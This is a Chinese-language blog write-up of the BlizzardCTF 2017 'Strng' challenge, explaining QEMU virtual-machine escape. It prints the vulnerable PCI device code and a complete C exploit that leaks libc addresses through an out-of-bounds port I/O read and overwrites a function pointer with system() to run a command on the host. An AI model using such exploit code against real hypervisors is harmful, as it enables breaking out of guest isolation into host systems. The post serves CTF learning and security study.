最近想入门一下QEMU逃逸,但是看了很多大佬的博客,发现大多都在着重介绍QEMU和PIC设备相关的基础知识以及具体的结题过程,没有显式地表明它们之间的关联。导致我看完之后虽然大概知道QEMU逃逸是如何做到的,但对具体的原理还是很疑惑,比如为什么虚拟机可以访问到宿主机的system
函数?本文根据一道例题(BlizzardCTF 2017 Strng )探究一下QEMU逃逸的原理。
基本知识 QEMU QEMU是纯软件实现的虚拟化模拟器,几乎可以模拟任何硬件设备,我们最熟悉的就是能够模拟一台能够独立运行操作系统的虚拟机,虚拟机认为自己和硬件打交道,但其实是和 QEMU模拟出来的硬件打交道,QEMU 将这些指令转译给真正的硬件。从本质上看,虚拟出的每个虚拟机对应 host 上的一个 QEMU进程,而虚拟机的执行线程(如 CPU 线程、I/O 线程等)对应 QEMU进程的一个线程。
我们知道系统中的程序运行在虚拟的地址空间,虚拟地址通过操作系统映射到真实的物理地址。在运行有QEMU虚拟机的宿主机系统上,QEMU虚拟机就是宿主机系统的一个进程,与普通的用户程序一样有自己的虚拟地址空间,对于虚拟机系统来说这个虚拟地址空间就是它的物理地址空间,所以虚拟机系统会把这个空间分配给运行在它上面的进程作为它们虚拟地址空间。具体内存结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 Guest' processes +--------------------+ Virtual addr space | | +--------------------+ | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+ Guest's phy. memory | | | | +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+ Virtual addr space | | | +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++ Physical memory | | || +----+-----------------------------------------------++
PCI设备 前面说QEMU通过软件的方式为虚拟机模拟出所需要的硬件设备,其中当然就包括PCI设备。PCI设备就是符合PCI总线标准的设备。设备可以申请两类地址空间,memory space和I/O space,通过memory space访问设备I/O的方式称为memory mapped I/O,即MMIO,这种情况下,CPU直接使用普通访存指令即可访问设备I/O。通过I/O space访问设备I/O的方式称为port I/O,或者port mapped I/O,即PMIO,这种情况下CPU需要使用专门的I/O指令如IN/OUT
访问I/O端口。
QEMU逃逸原理 在QEMU逃逸的题目中,出题者一般会利用QEMU提供的QOM编程模型来实现一个有漏洞的PCI设备,用户程序通过与该设备进行IO交互从而触发漏洞。QOM编程模型和设备的IO交互方法可以参考文末的参考资料中大佬们的博客,这里不再赘述。
因为QEMU虚拟机实际上是宿主机的一个进程,我的理解是,当QEMU虚拟机的设备存在漏洞时其实就类似于用户程序的漏洞,只是两者触发漏洞的方法不一样。用户程序的漏洞通过用户的直接输入触发,而QEMU虚拟机的设备漏洞通过运行在该虚拟机上的用户程序对该设备IO交互的间接输入来触发。漏洞触发后就可以控制QEMU虚拟机这个运行在宿主机上的进程的执行流来访问宿主机上的内容,从而实现逃逸的目的。
例题 描述 题目实现了一个叫做strng的设备,源码链接为Blizzard CTF 2017 。在PMIO的read和write函数中有明显的数组越界漏洞,而数组的下方正好是几个函数指针,因此可以先读出其中一个函数的地址,根据偏移计算出system
函数的地址,再将其中一个函数覆盖为system
函数,控制虚拟机执行到该函数并以事先写入的字符串为参数,即可实现逃逸。注意此时PMIO的read和write函数是由宿主机系统的QEMU进程运行的,所以实际上是该QEMU进程执行了system
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 typedef struct { PCIDevice pdev; MemoryRegion mmio; MemoryRegion pmio; uint32_t addr; uint32_t regs[STRNG_MMIO_REGS]; void (*srand)(unsigned int seed); int (*rand)(void ); int (*rand_r)(unsigned int *seed); } STRNGState; static uint64_t strng_pmio_read (void *opaque, hwaddr addr, unsigned size) { STRNGState *strng = opaque; uint64_t val = ~0ULL ; if (size != 4 ) return val; switch (addr) { case STRNG_PMIO_ADDR: val = strng->addr; break ; case STRNG_PMIO_DATA: if (strng->addr & 3 ) return val; val = strng->regs[strng->addr >> 2 ]; } return val; } static void strng_pmio_write (void *opaque, hwaddr addr, uint64_t val, unsigned size) { STRNGState *strng = opaque; uint32_t saddr; if (size != 4 ) return ; switch (addr) { case STRNG_PMIO_ADDR: strng->addr = val; break ; case STRNG_PMIO_DATA: if (strng->addr & 3 ) return ; saddr = strng->addr >> 2 ; switch (saddr) { case 0 : strng->srand(val); break ; case 1 : strng->regs[saddr] = strng->rand(); break ; case 3 : strng->regs[saddr] = strng->rand_r(&strng->regs[2 ]); break ; default : strng->regs[saddr] = val; } } }
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;uint32_t pmio_base=0xc050 ;void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read (uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } uint32_t pmio_write (uint32_t addr, uint32_t value) { outl(value,addr); } uint32_t pmio_read (uint32_t addr) { return (uint32_t )inl(addr); } uint32_t pmio_arbread (uint32_t offset) { pmio_write(pmio_base+0 ,offset); return pmio_read(pmio_base+4 ); } void pmio_arbwrite (uint32_t offset, uint32_t value) { pmio_write(pmio_base+0 ,offset); pmio_write(pmio_base+4 ,value); } int main (int argc, char *argv[]) { int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0" , O_RDWR | O_SYNC); if (mmio_fd == -1 ) die("mmio_fd open failed" ); mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); if (mmio_mem == MAP_FAILED) die("mmap mmio_mem failed" ); printf ("mmio_mem @ %p\n" , mmio_mem); mmio_write(8 ,0x6d6f6e67 ); mmio_write(12 ,0x61632d65 ); mmio_write(16 ,0x6c75636c ); mmio_write(20 ,0x726f7461 ); if (iopl(3 ) !=0 ) die("I/O permission is not enough" ); uint64_t srandom_addr=pmio_arbread(0x108 ); srandom_addr=srandom_addr<<32 ; srandom_addr+=pmio_arbread(0x104 ); printf ("leaking srandom addr: 0x%llx\n" ,srandom_addr); uint64_t libc_base= srandom_addr-0x3a8e0 ; uint64_t system_addr= libc_base+0x453a0 ; printf ("libc base: 0x%llx\n" ,libc_base); printf ("system addr: 0x%llx\n" ,system_addr); uint64_t heap_addr=pmio_arbread(0x1d0 ); heap_addr=heap_addr<<32 ; heap_addr+=pmio_arbread(0x1cc ); printf ("leaking heap addr: 0x%llx\n" ,heap_addr); uint64_t para_addr=heap_addr+0x39c7c ; printf ("parameter addr: 0x%llx\n" ,para_addr); pmio_arbwrite(0x114 ,system_addr&0xffffffff ); mmio_write(0xc ,0 ); }
这里我的宿主机是Ubuntu16.04,libc版本为2.23,成功在宿主机弹出计算器。
参考资料 qemu-pwn-基础知识
qemu pwn-Blizzard CTF 2017 Strng writeup
QEMU逃逸初探
BlizzardCTF 2017 - Strng
VM escape - QEMU Case Study
Linux云计算底层技术之一文读懂 Qemu 模拟器